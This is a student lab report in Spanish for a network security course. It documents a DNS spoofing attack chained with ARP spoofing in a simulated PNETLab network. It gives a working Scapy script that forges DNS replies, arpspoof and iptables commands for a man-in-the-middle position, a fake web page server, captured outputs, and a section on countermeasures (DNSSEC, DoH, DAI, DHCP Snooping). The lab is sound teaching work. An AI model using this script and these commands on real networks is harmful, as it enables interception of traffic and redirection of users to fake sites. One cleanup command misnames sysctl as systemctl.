

INSTITUTO TECNOLÓGICO DE LAS AMÉRICAS

Seguridad de Redes

DOCUMENTACIÓN TÉCNICA

DNS Spoofing Attack

Envenenamiento DNS con Python, Scapy y ARP Spoofing

Julio cesar Hernández tibrey

Matrícula: 2025-0702

Docente: Jonathan Rondón

Asignatura: Seguridad de Redes

Junio 2025

Link del video: <https://youtu.be/tRnX6pLoCw0>

Repo de Github: <https://github.com/Julio-Cesar-H-T/DNS-Spoofing>

1. Objetivo del Laboratorio

Este laboratorio tiene como propósito demostrar un ataque completo de DNS Spoofing (Envenenamiento DNS) en un entorno de red corporativa simulado en PNETLab. El ataque redirige las consultas DNS del dominio itla.edu.do desde la IP legítima hacia la IP del atacante, permitiendo servir contenido web falso a la víctima.

El ataque se ejecuta como fase final de una cadena de tres vulnerabilidades:

- Fase 1: DTP VLAN Hopping — acceso trunk al switch desde el puerto del atacante.
- Fase 2: Subinterfaz VLAN 10 — visibilidad del tráfico de la víctima en el segmento correcto.
- Fase 3: ARP Spoofing + DNS Spoofing — posicionamiento MitM e inyección de respuestas DNS falsas.

2. Objetivo del Script

El script DNS_Spoofing.py utiliza la librería Scapy para interceptar consultas DNS tipo A dirigidas al dominio itla.edu.do y responder con una respuesta DNS falsa que apunta a la IP del atacante (10.7.2.151), antes de que la respuesta legítima del servidor DNS (R1) pueda llegar a la víctima.

2.1 Parámetros del Script

Parámetro	Valor	Descripción
IFACE	ens3.10	Subinterfaz VLAN 10 — donde se captura el tráfico DNS
ATACANTE	10.7.2.151	IP del atacante — destino de la redirección DNS
OBJETIVO	itla.edu.do	Dominio a interceptar y envenenar
filter (sniff)	udp port 53	Filtro BPF — captura solo tráfico DNS (UDP puerto 53)
DNS.qr == 0	Consulta DNS	Filtra solo paquetes de consulta (no respuestas)
DNS.aa = 1	Authoritative Answer	Marca la respuesta falsa como autoritativa
DNSRR.ttl	10 segundos	TTL bajo para evitar caché prolongada en pruebas

2.2 Código del Script

```
from scapy.all import *

IFACE      = "ens3.10"
ATACANTE   = "10.7.2.151"
OBJETIVO   = "itla.edu.do"

def spoof_dns(pkt):
    if not (pkt.haslayer(DNS) and pkt[DNS].qr == 0):
        return
    if not pkt.haslayer(IP):
        return
    qname = pkt[DNS].qd.qname.decode()
    if OBJETIVO not in qname:
        return
    print(f"[+] Interceptado: {qname} desde {pkt[IP].src}")
    respuesta = (
        Ether(dst=pkt[Ether].src, src=pkt[Ether].dst) /
        IP(src=pkt[IP].dst, dst=pkt[IP].src) /
        UDP(sport=53, dport=pkt[UDP].sport) /
        DNS(id=pkt[DNS].id, qr=1, aa=1, rd=1,
            qd=pkt[DNS].qd,
            an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=ATACANTE))
    )
    sendp(respuesta, iface=IFACE, verbose=False)
    print(f"[+] Respuesta falsa: {OBJETIVO} -> {ATACANTE}")

sniff(iface=IFACE, filter="udp port 53", prn=spoof_dns, store=0)
```

2.3 Requisitos para Utilizar el Script

Requisito	Detalle
Pre-requisito 1	Acceso trunk obtenido mediante DTP VLAN Hopping
Pre-requisito 2	Subinterfaz ens3.10 con IP 10.7.2.151/24 activa
Pre-requisito 3	ARP Spoofing activo (arpspoof) para posicionarse como MitM
Pre-requisito 4	Regla iptables bloqueando respuestas DNS de R1 (sport 53)
Lenguaje	Python 3.x
Librería	Scapy (pip install scapy)
Herramienta adicional	dsniff para arpspoof (sudo apt install dsniff)
Permisos	Superusuario (root)

3. Documentación del Funcionamiento del Script

3.1 ¿Por qué es vulnerable DNS?

El protocolo DNS en su versión clásica (puerto UDP 53) no implementa autenticación ni cifrado. Cualquier respuesta que llegue a la víctima con el mismo ID de transacción que la consulta original es aceptada automáticamente. Al estar posicionados como MitM mediante ARP Spoofing y bloquear la respuesta legítima de R1 con iptables, la respuesta falsa de Scapy es la única que llega a la víctima.

3.2 Flujo Completo del Ataque — 4 Terminales

Terminal	Comando	Propósito
Terminal 1	<code>sudo arpspoof -i ens3.10 -t 10.7.2.100 10.7.2.254</code>	Le dice a la víctima que el atacante es R1
Terminal 2	<code>sudo arpspoof -i ens3.10 -t 10.7.2.254 10.7.2.100</code>	Le dice a R1 que el atacante es la víctima
Terminal 3	<code>sudo sysctl -w net.ipv4.ip_forward=1</code>	Activa el reenvío de paquetes para no cortar la red
Terminal 3	<code>sudo iptables -I FORWARD -p udp --sport 53 -s 10.7.2.254 -j DROP</code>	Bloquea la respuesta legítima de R1
Terminal 4	<code>sudo python3 DNS_Spoofing.py</code>	Intercepta y responde las consultas DNS falsamente

3.3 Paso a Paso del Script

- Paso 1: `sniff()` captura todos los paquetes UDP puerto 53 en `ens3.10`.
- Paso 2: La función `spoof_dns()` verifica que el paquete sea una consulta DNS (`qr == 0`).
- Paso 3: Verifica que el dominio consultado contenga `itla.edu.do`.
- Paso 4: Construye una respuesta DNS con Ether/IP/UDP/DNS invirtiendo las direcciones origen-destino.
- Paso 5: El campo DNSRR incluye `rdata=10.7.2.151` como respuesta al registro A.
- Paso 6: `sendp()` envía la respuesta a Capa 2 (Ethernet) por `ens3.10`.
- Paso 7: La víctima recibe solo la respuesta falsa (la legítima está bloqueada por iptables).

3.4 Flujo de Paquetes en la Red

```
[Victima]           [Atacante]           [R1 DNS]
10.7.2.100           10.7.2.151           10.7.2.254
|                   |                   |
|-- DNS Query ----->|                   |
|   itla.edu.do       |-- Query (forward) --->|
|                   |                   |
|                   |<-- Reply legitima -----|
|                   |   (bloqueada iptables)|
|                   |                   |
|<-- DNS Reply FALSA ---|                   |
|   itla.edu.do       |                   |
|   = 10.7.2.151      |                   |
|                   |                   |
|-- HTTP GET / ----->|                   |
|<-- Pagina web falsa --|                   |
```

4. Documentación de la Red

4.1 Topología del Laboratorio

```
      [ R1 - Gateway / DNS ]
      (10.7.2.254)
      dns: itla.edu.do -> 10.7.2.222
      |   trunk
      [ SW-1 - Core ]
      (10.7.2.1)
      /
trunk /
      /
[ SW-2 - Acceso ]
(10.7.2.2)
|           |
trunk |           | access VLAN 10
(post-DTP) |           |
|           |           |
[Atacante]   [Victima]
(10.7.2.151) (10.7.2.100)
ens3.10      DNS server: 10.7.2.254
```

4.2 Tabla de Direccionamiento IP

Dispositivo	Interfaz	Dirección IP	Máscara	Función
R1 (Router)	Eth0/0.10	10.7.2.254	255.255.255.0	Gateway y DNS legítimo
Atacante	ens3.10 (VLAN 10)	10.7.2.151	255.255.255.0	MitM + DNS Spoofer + Web falso
Víctima	ens3 / VPCS	10.7.2.100	255.255.255.0	Objetivo del envenenamiento
itla.edu.do (legítimo)	R1 ip host	10.7.2.222	N/A	IP simulada en R1 con ip host

4.3 Configuración del DNS en R1

```
R1(config)# ip dns server
R1(config)# ip host itla.edu.do 10.7.2.222
```

El servidor web falso se levanta en el atacante apuntando a 10.7.2.151:

```
mkdir -p /tmp/fakeweb
echo "<h1>Sitio falso - DNS Spoofing exitoso</h1>" > /tmp/fakeweb/index.html
cd /tmp/fakeweb && sudo python3 -m http.server 80
```

4.4 Subinterfaz VLAN 10 en el Atacante

Para recibir tráfico etiquetado 802.1Q desde el trunk, es necesario crear una subinterfaz:

```
sudo ip link add link ens3 name ens3.10 type vlan id 10
sudo ip addr add 10.7.2.151/24 dev ens3.10
sudo ip link set dev ens3.10 up
sudo ip link set dev ens3 up
```

5. Capturas de Pantalla

5.1 Dominio Antes del Ataque

Resultado de nslookup al dominio antes de proceder al ataque en si

[CAPTURA 1 — Nslookup al dominio antes del ataque]

```
user@user-pc:~$ nslookup itla.edu.do
Server:      10.7.2.254
Address:     10.7.2.254#53

Non-authoritative answer:
Name:   itla.edu.do
Address: 10.7.2.222
```

5.2 ARP Spoofing Activo

Las dos terminales con arpspoof activos en ambas direcciones (víctima y gateway).

[CAPTURA 2 — arpspoof — Terminales 1 y 2 activas (MitM bidireccional)]

```
user@user-pc:~$ sudo arpspoof -i ens3.10 -t 10.7.2.254 10.7.2.100
50:fc:a6:0:e:0 aa:bb:cc:0:1:0 0806 42: arp reply 10.7.2.100 is-at 50:fc:a6:0:e:0
50:fc:a6:0:e:0 aa:bb:cc:0:1:0 0806 42: arp reply 10.7.2.100 is-at 50:fc:a6:0:e:0
50:fc:a6:0:e:0 aa:bb:cc:0:1:0 0806 42: arp reply 10.7.2.100 is-at 50:fc:a6:0:e:0
50:fc:a6:0:e:0 aa:bb:cc:0:1:0 0806 42: arp reply 10.7.2.100 is-at 50:fc:a6:0:e:0
50:fc:a6:0:e:0 aa:bb:cc:0:1:0 0806 42: arp reply 10.7.2.100 is-at 50:fc:a6:0:e:0
```

i

5.3 ARP Spoofing Activo

Las dos terminales con arpspoof activos en ambas direcciones (víctima y gateway).

[CAPTURA 2 — arpspoof — Terminales 1 y 2 activas (MitM bidireccional)]

```
user@user-pc:~$ sudo arpspoof -i ens3.10 -t 10.7.2.100 10.7.2.254
[sudo] password for user:
50:fc:a6:0:e:0 50:2f:5d:0:f:0 0806 42: arp reply 10.7.2.254 is-at 50:fc:a6:0:e:0
50:fc:a6:0:e:0 50:2f:5d:0:f:0 0806 42: arp reply 10.7.2.254 is-at 50:fc:a6:0:e:0
50:fc:a6:0:e:0 50:2f:5d:0:f:0 0806 42: arp reply 10.7.2.254 is-at 50:fc:a6:0:e:0
50:fc:a6:0:e:0 50:2f:5d:0:f:0 0806 42: arp reply 10.7.2.254 is-at 50:fc:a6:0:e:0
50:fc:a6:0:e:0 50:2f:5d:0:f:0 0806 42: arp reply 10.7.2.254 is-at 50:fc:a6:0:e:0
50:fc:a6:0:e:0 50:2f:5d:0:f:0 0806 42: arp reply 10.7.2.254 is-at 50:fc:a6:0:e:0
50:fc:a6:0:e:0 50:2f:5d:0:f:0 0806 42: arp reply 10.7.2.254 is-at 50:fc:a6:0:e:0
50:fc:a6:0:e:0 50:2f:5d:0:f:0 0806 42: arp reply 10.7.2.254 is-at 50:fc:a6:0:e:0
```

i

5.4 Verificación del Ataque — nslookup desde la Víctima

Resultado de nslookup itla.edu.do desde la máquina víctima mostrando Address: 10.7.2.151 en lugar de 10.7.2.222.

[CAPTURA 5 — Víctima — nslookup itla.edu.do resuelve a 10.7.2.151 (IP del atacante)]

```
user@user-pc:~$ nslookup itla.edu.do
Server:         10.7.2.254
Address:        10.7.2.254#53

Name:   itla.edu.do
Address: 10.7.2.151
Name:   itla.edu.do
Address: 10.7.2.151
```

6. Contramedidas

6.1 DNSSEC — DNS Security Extensions

DNSSEC agrega firmas digitales criptográficas a las respuestas DNS. La víctima puede verificar que la respuesta proviene del servidor autoritativo legítimo y no ha sido modificada en tránsito. Cualquier respuesta falsa sin firma válida es rechazada.

6.2 DNS sobre HTTPS (DoH)

Las consultas DNS se encapsulan dentro de conexiones HTTPS cifradas hacia un servidor DoH (ej. 1.1.1.1 o 8.8.8.8). Un atacante en la red local no puede interceptar ni inyectar respuestas porque el canal está cifrado end-to-end.

6.3 DNS sobre TLS (DoT)

Similar a DoH pero usa TLS directamente en el puerto 853. Cifra las consultas DNS impidiendo la interceptación y manipulación del tráfico.

6.4 Dynamic ARP Inspection (DAI)

DAI en los switches Cisco valida cada paquete ARP contra la tabla de DHCP Snooping. Si la MAC-IP del paquete ARP no coincide con la asignación registrada, el paquete es descartado, eliminando el vector de ARP Spoofing que permite el posicionamiento MitM:

```
SW(config)# ip arp inspection vlan 10
SW(config)# interface ethernet 0/0
SW(config-if)# ip arp inspection trust (solo en puertos hacia switches o router)
```


6.5 DHCP Snooping

Prerequisito de DAI. Construye una tabla de asignaciones IP-MAC-Puerto confiables a partir del tráfico DHCP legítimo:

```
SW(config)# ip dhcp snooping
SW(config)# ip dhcp snooping vlan 10
SW(config)# interface ethernet 0/0
SW(config-if)# ip dhcp snooping trust
```

6.6 Limpieza del Atacante después del Laboratorio

```
sudo iptables -D FORWARD -p udp --sport 53 -s 10.7.2.254 -j DROP
sudo systemctl -w net.ipv4.ip_forward=0
sudo ip link delete ens3.10
```

Contramedida	Ataque que mitiga	Efectividad
DNSSEC	DNS Spoofing directo	Muy Alta — firma criptográfica
DNS sobre HTTPS (DoH)	Intercepción DNS	Muy Alta — cifrado end-to-end
DNS sobre TLS (DoT)	Intercepción DNS	Muy Alta — cifrado en transporte
Dynamic ARP Inspection	ARP Spoofing (MitM)	Alta — requiere DHCP Snooping
DHCP Snooping	ARP Spoofing (base)	Alta — prerequisite de DAI